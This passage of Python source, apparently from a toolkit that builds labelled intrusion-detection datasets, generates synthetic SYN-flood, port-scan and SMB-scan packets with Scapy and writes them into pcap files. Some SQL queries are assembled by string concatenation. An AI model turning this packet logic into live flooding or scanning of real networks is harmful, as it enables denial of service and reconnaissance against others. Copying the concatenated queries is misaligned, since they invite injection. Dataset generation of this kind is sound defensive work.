else: result = self.statistics.process_db_query( "SELECT MAX(maxPktRate) FROM ip_statistics WHERE ipAddress='" + most_used_ip_address + "';") pps = num_attackers * result # Calculate complement packet rates of the background traffic for each interval attacker_pps = pps / num_attackers complement_interval_attacker_pps = self.statistics.calculate_complement_packet_rates( attacker_pps) # Check ip.src == ip.dst self.ip_src_dst_equal_check(ip_source_list, ip_destination) port_destination = self.get_param_value( atkParam.Parameter.PORT_DESTINATION) if not port_destination: # user did not define port_dest port_destination = self.statistics.process_db_query( "SELECT portNumber FROM ip_ports WHERE portDirection='in' AND ipAddress='" + ip_destination + "' AND portCount==(SELECT MAX(portCount) FROM ip_ports WHERE portDirection='in' AND ipAddress='" + ip_destination + "');") if not port_destination: # no port was retrieved port_destination = self.statistics.process_db_query( "SELECT portNumber FROM (SELECT portNumber, SUM(portCount) as occ FROM ip_ports WHERE " "portDirection='in' GROUP BY portNumber ORDER BY occ DESC) WHERE occ=(SELECT SUM(portCount) " "FROM ip_ports WHERE portDirection='in' GROUP BY portNumber ORDER BY SUM(portCount) DESC LIMIT 1);" ) if not port_destination: port_destination = max(1, int(inet.RandShort())) port_destination = Util.handle_most_used_outputs(port_destination) self.path_attack_pcap = None min_delay, max_delay = self.get_reply_delay(ip_destination) victim_buffer = self.get_param_value(atkParam.Parameter.VICTIM_BUFFER) attack_duration = self.get_param_value( atkParam.Parameter.ATTACK_DURATION) pkts_num = int(pps * attack_duration) source_win_sizes = self.statistics.get_rnd_win_size(pkts_num) destination_win_dist = self.statistics.get_win_distribution( ip_destination) if len(destination_win_dist) > 0: destination_win_prob_dict = lea.Lea.fromValFreqsDict( destination_win_dist) destination_win_value = destination_win_prob_dict.random() else: destination_win_value = self.statistics.get_most_used_win_size() destination_win_value = Util.handle_most_used_outputs( destination_win_value) # MSS that was used by IP destination in background traffic mss_dst = self.statistics.get_most_used_mss(ip_destination) if mss_dst is None: mss_dst = self.statistics.get_most_used_mss_value() mss_dst = Util.handle_most_used_outputs(mss_dst) # Stores triples of (timestamp, source_id, destination_id) for each timestamp. # Victim has id=0. Attacker tuple does not need to specify the destination because it's always the victim. timestamps_tuples = [] # For each attacker(id), stores the current source-ports of SYN-packets # which still have to be acknowledged by the victim, as a "FIFO" for each attacker previous_attacker_port = [] replies_count = 0 self.total_pkt_num = 0 # For each attacker, generate his own packets, then merge all packets for attacker in range(num_attackers): # Initialize empty port "FIFO" for current attacker previous_attacker_port.append([]) # Calculate timestamp of first SYN-packet of attacker timestamp_next_pkt = self.get_param_value( atkParam.Parameter.INJECT_AT_TIMESTAMP) attack_ends_time = timestamp_next_pkt + attack_duration timestamp_next_pkt = rnd.uniform( timestamp_next_pkt, Util.update_timestamp(timestamp_next_pkt, attacker_pps)) attacker_pkts_num = int(pkts_num / num_attackers) + rnd.randint( 0, 100) timestamp_prv_reply = 0 for pkt_num in range(attacker_pkts_num): # Stop the attack when it exceeds the duration if timestamp_next_pkt > attack_ends_time: break # Add timestamp of attacker SYN-packet. Attacker tuples do not need to specify destination timestamps_tuples.append((timestamp_next_pkt, attacker + 1)) # Calculate timestamp of victim ACK-packet timestamp_reply = Util.update_timestamp( timestamp_next_pkt, attacker_pps, min_delay) while timestamp_reply <= timestamp_prv_reply: timestamp_reply = Util.update_timestamp( timestamp_prv_reply, attacker_pps, min_delay) timestamp_prv_reply = timestamp_reply # Add timestamp of victim ACK-packet(victim always has id=0) timestamps_tuples.append((timestamp_reply, 0, attacker + 1)) # Calculate timestamp for next attacker SYN-packet attacker_pps = max( Util.get_interval_pps(complement_interval_attacker_pps, timestamp_next_pkt), (pps / num_attackers) / 2) timestamp_next_pkt = Util.update_timestamp( timestamp_next_pkt, attacker_pps) # Sort timestamp-triples according to their timestamps in ascending order timestamps_tuples.sort(key=lambda tmstmp: tmstmp[0]) self.attack_start_utime = timestamps_tuples[0][0] # For each triple, generate packet for timestamp in timestamps_tuples: # If current current triple is an attacker if timestamp[1] != 0: attacker_id = timestamp[1] - 1 # Build request package # Select one IP address and its corresponding MAC address ip_source = ip_source_list[attacker_id] mac_source = mac_source_list[attacker_id] # Determine source port (port_source, ttl_value) = Util.get_attacker_config(ip_source_list, ip_source) # If source ports were specified by the user, get random port from specified ports if port_source_list[0] != self.default_port: port_source = rnd.choice(port_source_list) # Push port of current attacker SYN-packet into port "FIFO" of the current attacker # only if victim can still respond, otherwise, memory is wasted if replies_count <= victim_buffer: previous_attacker_port[attacker_id].insert(0, port_source) request_ether = inet.Ether(dst=mac_destination, src=mac_source) request_ip = inet.IP(src=ip_source, dst=ip_destination, ttl=ttl_value) # Random win size for each packet source_win_size = rnd.choice(source_win_sizes) request_tcp = inet.TCP(sport=port_source, dport=port_destination, flags='S', ack=0, window=source_win_size) request = (request_ether / request_ip / request_tcp) request.time = timestamp[0] # Append request self.packets.append(request) self.total_pkt_num += 1 # If current triple is the victim else: # Build reply package if replies_count <= victim_buffer: attacker_id = timestamp[2] - 1 reply_ether = inet.Ether(src=mac_destination, dst=mac_source_list[attacker_id]) reply_ip = inet.IP(src=ip_destination, dst=ip_source_list[attacker_id], flags='DF') # Pop port from attacker's port "FIFO" into destination port reply_tcp = inet.TCP( sport=port_destination, dport=previous_attacker_port[attacker_id].pop(), seq=0, ack=1, flags='SA', window=destination_win_value, options=[('MSS', mss_dst)]) reply = (reply_ether / reply_ip / reply_tcp) reply.time = timestamp[0] self.packets.append(reply) replies_count += 1 self.total_pkt_num += 1 # every 1000 packets write them to the pcap file (append) if (self.total_pkt_num > 0) and (self.total_pkt_num % buffer_size == 0) and (len(self.packets) > 0): self.last_packet = self.packets[-1] self.attack_end_utime = self.last_packet.time self.packets = sorted(self.packets, key=lambda pkt: pkt.time) self.path_attack_pcap = self.write_attack_pcap( self.packets, True, self.path_attack_pcap) self.packets = []
def generate_attack_packets(self): """ Creates the attack packets. """ mac_source = self.get_param_value(atkParam.Parameter.MAC_SOURCE) mac_destination = self.get_param_value( atkParam.Parameter.MAC_DESTINATION) # Determine ports dest_ports = self.get_param_value(atkParam.Parameter.PORT_DESTINATION) if self.get_param_value(atkParam.Parameter.PORT_DEST_ORDER_DESC): dest_ports.reverse() elif self.get_param_value(atkParam.Parameter.PORT_DEST_SHUFFLE): rnd.shuffle(dest_ports) if self.get_param_value(atkParam.Parameter.PORT_SOURCE_RANDOMIZE): # FIXME: why is sport never used? sport = rnd.randint(1, 65535) else: sport = self.get_param_value(atkParam.Parameter.PORT_SOURCE) # Timestamp timestamp_next_pkt = self.get_param_value( atkParam.Parameter.INJECT_AT_TIMESTAMP) # store start time of attack self.attack_start_utime = timestamp_next_pkt # Initialize parameters self.packets = [] ip_source = self.get_param_value(atkParam.Parameter.IP_SOURCE) if isinstance(ip_source, list): ip_source = ip_source[0] ip_destination = self.get_param_value( atkParam.Parameter.IP_DESTINATION) if not isinstance(ip_destination, list): ip_destination = [ip_destination] # Check ip.src == ip.dst self.ip_src_dst_catch_equal(ip_source, ip_destination) for ip in ip_destination: # Select open ports ports_open = self.get_param_value(atkParam.Parameter.PORT_OPEN) if ports_open == 1: # user did not specify open ports # the ports that were already used by ip.dst (direction in) in the background traffic are open ports ports_used_by_ip_dst = self.statistics.process_db_query( "SELECT portNumber FROM ip_ports WHERE portDirection='in' AND ipAddress='" + ip + "'") if ports_used_by_ip_dst: ports_open = ports_used_by_ip_dst else: # if no ports were retrieved from database # Take open ports from nmap-service file # ports_temp = self.get_ports_from_nmap_service_dst(100) # ports_open = ports_temp[0:rnd.randint(1,10)] # OR take open ports from the most used ports in traffic statistics ports_open = self.statistics.process_db_query( "SELECT portNumber FROM ip_ports GROUP BY portNumber ORDER BY SUM(portCount) DESC LIMIT " + str(rnd.randint(1, 10))) # in case of one open port, convert ports_open to array if not isinstance(ports_open, list): ports_open = [ports_open] # Set MSS (Maximum Segment Size) based on MSS distribution of IP address source_mss_dist = self.statistics.get_mss_distribution(ip_source) if len(source_mss_dist) > 0: source_mss_prob_dict = lea.Lea.fromValFreqsDict( source_mss_dist) source_mss_value = source_mss_prob_dict.random() else: source_mss_value = Util.handle_most_used_outputs( self.statistics.get_most_used_mss_value()) destination_mss_dist = self.statistics.get_mss_distribution(ip) if len(destination_mss_dist) > 0: destination_mss_prob_dict = lea.Lea.fromValFreqsDict( destination_mss_dist) destination_mss_value = destination_mss_prob_dict.random() else: destination_mss_value = Util.handle_most_used_outputs( self.statistics.get_most_used_mss_value()) # Set TTL based on TTL distribution of IP address source_ttl_dist = self.statistics.get_ttl_distribution(ip_source) if len(source_ttl_dist) > 0: source_ttl_prob_dict = lea.Lea.fromValFreqsDict( source_ttl_dist) source_ttl_value = source_ttl_prob_dict.random() else: source_ttl_value = Util.handle_most_used_outputs( self.statistics.get_most_used_ttl_value()) destination_ttl_dist = self.statistics.get_ttl_distribution(ip) if len(destination_ttl_dist) > 0: destination_ttl_prob_dict = lea.Lea.fromValFreqsDict( destination_ttl_dist) destination_ttl_value = destination_ttl_prob_dict.random() else: destination_ttl_value = Util.handle_most_used_outputs( self.statistics.get_most_used_ttl_value()) # Set Window Size based on Window Size distribution of IP address source_win_dist = self.statistics.get_win_distribution(ip_source) if len(source_win_dist) > 0: source_win_prob_dict = lea.Lea.fromValFreqsDict( source_win_dist) source_win_value = source_win_prob_dict.random() else: source_win_value = Util.handle_most_used_outputs( self.statistics.get_most_used_win_size()) destination_win_dist = self.statistics.get_win_distribution(ip) if len(destination_win_dist) > 0: destination_win_prob_dict = lea.Lea.fromValFreqsDict( destination_win_dist) destination_win_value = destination_win_prob_dict.random() else: destination_win_value = Util.handle_most_used_outputs( self.statistics.get_most_used_win_size()) min_delay, max_delay = self.get_reply_latency(ip_source, ip) for dport in dest_ports: # Parameters changing each iteration if self.get_param_value( atkParam.Parameter.IP_SOURCE_RANDOMIZE) and isinstance( ip_source, list): ip_source = rnd.choice(ip_source) # 1) Build request package request_ether = inet.Ether(src=mac_source, dst=mac_destination) request_ip = inet.IP(src=ip_source, dst=ip, ttl=source_ttl_value) # Random src port for each packet sport = rnd.randint(1, 65535) request_tcp = inet.TCP(sport=sport, dport=dport, window=source_win_value, flags='S', options=[('MSS', source_mss_value)]) request = (request_ether / request_ip / request_tcp) request.time = timestamp_next_pkt # Append request self.packets.append(request) # 2) Build reply (for open ports) package if dport in ports_open: # destination port is OPEN reply_ether = inet.Ether(src=mac_destination, dst=mac_source) reply_ip = inet.IP(src=ip, dst=ip_source, ttl=destination_ttl_value, flags='DF') reply_tcp = inet.TCP(sport=dport, dport=sport, seq=0, ack=1, flags='SA', window=destination_win_value, options=[('MSS', destination_mss_value)]) reply = (reply_ether / reply_ip / reply_tcp) timestamp_reply = self.timestamp_controller.next_timestamp( latency=min_delay) reply.time = timestamp_reply self.packets.append(reply) # requester confirms confirm_ether = request_ether confirm_ip = request_ip confirm_tcp = inet.TCP(sport=sport, dport=dport, seq=1, window=0, flags='R') confirm = (confirm_ether / confirm_ip / confirm_tcp) self.timestamp_controller.set_timestamp(timestamp_reply) timestamp_confirm = self.timestamp_controller.next_timestamp( latency=min_delay) confirm.time = timestamp_confirm self.packets.append(confirm) # else: destination port is NOT OPEN -> no reply is sent by target self.timestamp_controller.set_timestamp(timestamp_next_pkt) timestamp_next_pkt = self.timestamp_controller.next_timestamp()
def generate_attack_packets(self): """ Creates the attack packets. """ pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND) # Calculate complement packet rates of the background traffic for each interval complement_interval_pps = self.statistics.calculate_complement_packet_rates( pps) # Timestamp timestamp_next_pkt = self.get_param_value( atkParam.Parameter.INJECT_AT_TIMESTAMP) # store start time of attack self.attack_start_utime = timestamp_next_pkt timestamp_prv_reply, timestamp_confirm = 0, 0 # Initialize parameters ip_source = self.get_param_value(atkParam.Parameter.IP_SOURCE) dest_ip_count = self.get_param_value(atkParam.Parameter.TARGET_COUNT) ip_addr_count = self.statistics.get_ip_address_count() if ip_addr_count < dest_ip_count + 1: dest_ip_count = ip_addr_count # Check for user defined target IP addresses ip_destinations = self.get_param_value( atkParam.Parameter.IP_DESTINATION) if isinstance(ip_destinations, list): dest_ip_count = dest_ip_count - len(ip_destinations) elif ip_destinations is not "1.1.1.1": dest_ip_count = dest_ip_count - 1 ip_destinations = [ip_destinations] else: ip_destinations = [] # Take random targets from pcap rnd_ips = self.statistics.get_random_ip_address(dest_ip_count) if not isinstance(rnd_ips, list): rnd_ips = [rnd_ips] ip_destinations = ip_destinations + rnd_ips # Make sure the source IP is not part of targets if ip_source in ip_destinations and isinstance(ip_destinations, list): ip_destinations.remove(ip_source) self.add_param_value(atkParam.Parameter.IP_DESTINATION, ip_destinations) ip_destinations = self.get_param_value( atkParam.Parameter.IP_DESTINATION) # Calculate the amount of IP addresses which are hosting SMB host_percentage = self.get_param_value( atkParam.Parameter.HOSTING_PERCENTAGE) rnd_ip_count = len(ip_destinations) * host_percentage # Check for user defined IP addresses which are hosting SMB hosting_ip = self.get_param_value(atkParam.Parameter.HOSTING_IP) if isinstance(hosting_ip, list): rnd_ip_count = rnd_ip_count - len(hosting_ip) elif hosting_ip is not "1.1.1.1": rnd_ip_count = rnd_ip_count - 1 hosting_ip = [hosting_ip] else: hosting_ip = [] hosting_ip = hosting_ip + ip_destinations[:int(rnd_ip_count)] self.add_param_value(atkParam.Parameter.HOSTING_IP, hosting_ip) # Shuffle targets rnd.shuffle(ip_destinations) # FIXME: Handle mac addresses correctly mac_source = self.get_param_value(atkParam.Parameter.MAC_SOURCE) mac_dest = self.get_param_value(atkParam.Parameter.MAC_DESTINATION) # Check smb version smb_version = self.get_param_value(atkParam.Parameter.PROTOCOL_VERSION) if smb_version not in SMBLib.smb_versions: SMBLib.invalid_smb_version(smb_version) hosting_version = self.get_param_value( atkParam.Parameter.HOSTING_VERSION) if hosting_version not in SMBLib.smb_versions: SMBLib.invalid_smb_version(hosting_version) # Check source platform src_platform = self.get_param_value( atkParam.Parameter.SOURCE_PLATFORM).lower() self.packets = [] # randomize source ports according to platform, if specified if self.get_param_value(atkParam.Parameter.PORT_SOURCE_RANDOMIZE): sport = Util.generate_source_port_from_platform(src_platform) else: sport = self.get_param_value(atkParam.Parameter.PORT_SOURCE) # No destination IP was specified, but a destination MAC was specified, generate IP that fits MAC if isinstance(ip_destinations, list) and isinstance(mac_dest, str): ip_destinations = self.statistics.get_ip_address_from_mac(mac_dest) if len(ip_destinations) == 0: ip_destinations = self.generate_random_ipv4_address( "Unknown", 1) # Check ip.src == ip.dst self.ip_src_dst_equal_check(ip_source, ip_destinations) ip_dests = [] if isinstance(ip_destinations, list): ip_dests = ip_destinations else: ip_dests.append(ip_destinations) if isinstance(ip_dests, list): rnd.shuffle(ip_dests) # Randomize source IP, if specified if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE): ip_source = self.generate_random_ipv4_address("Unknown", 1) while ip_source in ip_dests: ip_source = self.generate_random_ipv4_address("Unknown", 1) mac_source = self.statistics.get_mac_address(str(ip_source)) if len(mac_source) == 0: mac_source = self.generate_random_mac_address() # Get MSS, TTL and Window size value for source IP source_mss_value, source_ttl_value, source_win_value = self.get_ip_data( ip_source) mac_dests = self.statistics.get_mac_addresses(ip_dests) first_timestamp_smb = self.statistics.get_pcap_timestamp_start()[:19] # get inject pss inject_pps = self.get_param_value(atkParam.Parameter.INJECT_PPS) for ip in ip_dests: if ip != ip_source: # Get destination Mac Address mac_destination = "" if ip in mac_dests.keys(): mac_destination = mac_dests[ip] if len(mac_destination) == 0: if isinstance(mac_dest, str): ip_from_mac = self.statistics.get_ip_address_from_mac( mac_dest) if len(ip_from_mac) != 0: ip = ip_from_mac self.ip_src_dst_equal_check(ip_source, ip) mac_destination = mac_dest else: mac_destination = self.generate_random_mac_address() # Get MSS, TTL and Window size value for destination IP destination_mss_value, destination_ttl_value, destination_win_value = self.get_ip_data( ip) min_delay, max_delay = self.get_reply_delay(ip) # New connection, new random TCP sequence numbers attacker_seq = rnd.randint(1000, 50000) victim_seq = rnd.randint(1000, 50000) # Randomize source port for each connection if specified if self.get_param_value( atkParam.Parameter.PORT_SOURCE_RANDOMIZE): sport = Util.generate_source_port_from_platform( src_platform, sport) # 1) Build request package request_ether = inet.Ether(src=mac_source, dst=mac_destination) request_ip = inet.IP(src=ip_source, dst=ip, ttl=source_ttl_value, flags='DF') request_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, window=source_win_value, flags='S', seq=attacker_seq, options=[('MSS', source_mss_value)]) attacker_seq += 1 request = (request_ether / request_ip / request_tcp) request.time = timestamp_next_pkt # Append request self.packets.append(request) # Update timestamp for next package timestamp_reply = Util.update_timestamp( timestamp_next_pkt, pps, min_delay, inj_pps=inject_pps, inj_timestamp=self.attack_start_utime) while timestamp_reply <= timestamp_prv_reply: timestamp_reply = Util.update_timestamp( timestamp_prv_reply, pps, min_delay, inj_pps=inject_pps, inj_timestamp=self.attack_start_utime) timestamp_prv_reply = timestamp_reply if ip in hosting_ip: # 2) Build TCP packages for ip that hosts SMB # destination sends SYN, ACK reply_ether = inet.Ether(src=mac_destination, dst=mac_source) reply_ip = inet.IP(src=ip, dst=ip_source, ttl=destination_ttl_value, flags='DF') reply_tcp = inet.TCP(sport=SMBLib.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, flags='SA', window=destination_win_value, options=[('MSS', destination_mss_value)]) victim_seq += 1 reply = (reply_ether / reply_ip / reply_tcp) reply.time = timestamp_reply self.packets.append(reply) # requester confirms, ACK confirm_ether = request_ether confirm_ip = request_ip confirm_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, seq=attacker_seq, ack=victim_seq, window=source_win_value, flags='A') confirm = (confirm_ether / confirm_ip / confirm_tcp) timestamp_confirm = Util.update_timestamp( timestamp_reply, pps, min_delay) confirm.time = timestamp_confirm self.packets.append(confirm) # 3) Build SMB Negotiation packets smb_mid = rnd.randint(1, 65535) smb_pid = rnd.randint(1, 65535) smb_req_tail_arr = [] smb_req_tail_size = 0 # select dialects based on smb version if smb_version is "1": smb_req_dialects = SMBLib.smb_dialects[0:6] else: smb_req_dialects = SMBLib.smb_dialects if len(smb_req_dialects) == 0: smb_req_tail_arr.append( SMBNegociate_Protocol_Request_Tail()) smb_req_tail_size = len( SMBNegociate_Protocol_Request_Tail()) else: for dia in smb_req_dialects: smb_req_tail_arr.append( SMBNegociate_Protocol_Request_Tail( BufferData=dia)) smb_req_tail_size += len( SMBNegociate_Protocol_Request_Tail( BufferData=dia)) # Creation of SMB Negotiate Protocol Request packet smb_req_head = SMBNegociate_Protocol_Request_Header( Flags2=0x2801, PID=smb_pid, MID=smb_mid, ByteCount=smb_req_tail_size) smb_req_length = len(smb_req_head) + smb_req_tail_size smb_req_net_bio = NBTSession(TYPE=0x00, LENGTH=smb_req_length) smb_req_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, flags='PA', seq=attacker_seq, ack=victim_seq) smb_req_ip = inet.IP(src=ip_source, dst=ip, ttl=source_ttl_value) smb_req_ether = inet.Ether(src=mac_source, dst=mac_destination) attacker_seq += len(smb_req_net_bio) + len( smb_req_head) + smb_req_tail_size smb_req_combined = (smb_req_ether / smb_req_ip / smb_req_tcp / smb_req_net_bio / smb_req_head) for i in range(0, len(smb_req_tail_arr)): smb_req_combined = smb_req_combined / smb_req_tail_arr[ i] timestamp_smb_req = Util.update_timestamp( timestamp_confirm, pps, min_delay) smb_req_combined.time = timestamp_smb_req self.packets.append(smb_req_combined) # destination confirms SMB request package reply_tcp = inet.TCP(sport=SMBLib.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, window=destination_win_value, flags='A') confirm_smb_req = (reply_ether / reply_ip / reply_tcp) timestamp_reply = Util.update_timestamp( timestamp_smb_req, pps, min_delay) confirm_smb_req.time = timestamp_reply self.packets.append(confirm_smb_req) # smb response package first_timestamp = time.mktime( time.strptime(first_timestamp_smb, "%Y-%m-%d %H:%M:%S")) server_guid, security_blob, capabilities, data_size, server_start_time =\ SMBLib.get_smb_platform_data(self.host_os, first_timestamp) timestamp_smb_rsp = Util.update_timestamp( timestamp_reply, pps, min_delay) diff = timestamp_smb_rsp - timestamp_smb_req begin = Util.get_filetime_format(timestamp_smb_req + diff * 0.1) end = Util.get_filetime_format(timestamp_smb_rsp - diff * 0.1) system_time = rnd.randint(begin, end) # Creation of SMB Negotiate Protocol Response packets if smb_version is not "1" and hosting_version is not "1": smb_rsp_packet = SMB2.SMB2_SYNC_Header(Flags=1) smb_rsp_negotiate_body =\ SMB2.SMB2_Negotiate_Protocol_Response(DialectRevision=0x02ff, SecurityBufferOffset=124, SecurityBufferLength=len(security_blob), SecurityBlob=security_blob, Capabilities=capabilities, MaxTransactSize=data_size, MaxReadSize=data_size, MaxWriteSize=data_size, SystemTime=system_time, ServerStartTime=server_start_time, ServerGuid=server_guid) smb_rsp_length = len(smb_rsp_packet) + len( smb_rsp_negotiate_body) else: smb_rsp_packet =\ SMBNegociate_Protocol_Response_Advanced_Security(Start="\xffSMB", PID=smb_pid, MID=smb_mid, DialectIndex=5, SecurityBlob=security_blob) smb_rsp_length = len(smb_rsp_packet) smb_rsp_net_bio = NBTSession(TYPE=0x00, LENGTH=smb_rsp_length) smb_rsp_tcp = inet.TCP(sport=SMBLib.smb_port, dport=sport, flags='PA', seq=victim_seq, ack=attacker_seq) smb_rsp_ip = inet.IP(src=ip, dst=ip_source, ttl=destination_ttl_value) smb_rsp_ether = inet.Ether(src=mac_destination, dst=mac_source) victim_seq += len(smb_rsp_net_bio) + len(smb_rsp_packet) if smb_version is not "1" and hosting_version is not "1": victim_seq += len(smb_rsp_negotiate_body) smb_rsp_combined = (smb_rsp_ether / smb_rsp_ip / smb_rsp_tcp / smb_rsp_net_bio / smb_rsp_packet) if smb_version is not "1" and hosting_version is not "1": smb_rsp_combined = (smb_rsp_combined / smb_rsp_negotiate_body) smb_rsp_combined.time = timestamp_smb_rsp self.packets.append(smb_rsp_combined) # source confirms SMB response package confirm_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, seq=attacker_seq, ack=victim_seq, window=source_win_value, flags='A') confirm_smb_res = (confirm_ether / confirm_ip / confirm_tcp) timestamp_confirm = Util.update_timestamp( timestamp_smb_rsp, pps, min_delay) confirm_smb_res.time = timestamp_confirm self.packets.append(confirm_smb_res) # attacker sends FIN ACK confirm_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, seq=attacker_seq, ack=victim_seq, window=source_win_value, flags='FA') source_fin_ack = (confirm_ether / confirm_ip / confirm_tcp) timestamp_src_fin_ack = Util.update_timestamp( timestamp_confirm, pps, min_delay) source_fin_ack.time = timestamp_src_fin_ack attacker_seq += 1 self.packets.append(source_fin_ack) # victim sends FIN ACK reply_tcp = inet.TCP(sport=SMBLib.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, window=destination_win_value, flags='FA') destination_fin_ack = (reply_ether / reply_ip / reply_tcp) timestamp_dest_fin_ack = Util.update_timestamp( timestamp_src_fin_ack, pps, min_delay) victim_seq += 1 destination_fin_ack.time = timestamp_dest_fin_ack self.packets.append(destination_fin_ack) # source sends final ACK confirm_tcp = inet.TCP(sport=sport, dport=SMBLib.smb_port, seq=attacker_seq, ack=victim_seq, window=source_win_value, flags='A') final_ack = (confirm_ether / confirm_ip / confirm_tcp) timestamp_final_ack = Util.update_timestamp( timestamp_dest_fin_ack, pps, min_delay) final_ack.time = timestamp_final_ack self.packets.append(final_ack) else: # Build RST package reply_ether = inet.Ether(src=mac_destination, dst=mac_source) reply_ip = inet.IP(src=ip, dst=ip_source, ttl=destination_ttl_value, flags='DF') reply_tcp = inet.TCP(sport=SMBLib.smb_port, dport=sport, seq=0, ack=attacker_seq, flags='RA', window=destination_win_value, options=[('MSS', destination_mss_value)]) reply = (reply_ether / reply_ip / reply_tcp) reply.time = timestamp_reply self.packets.append(reply) pps = max( Util.get_interval_pps(complement_interval_pps, timestamp_next_pkt), 10) timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)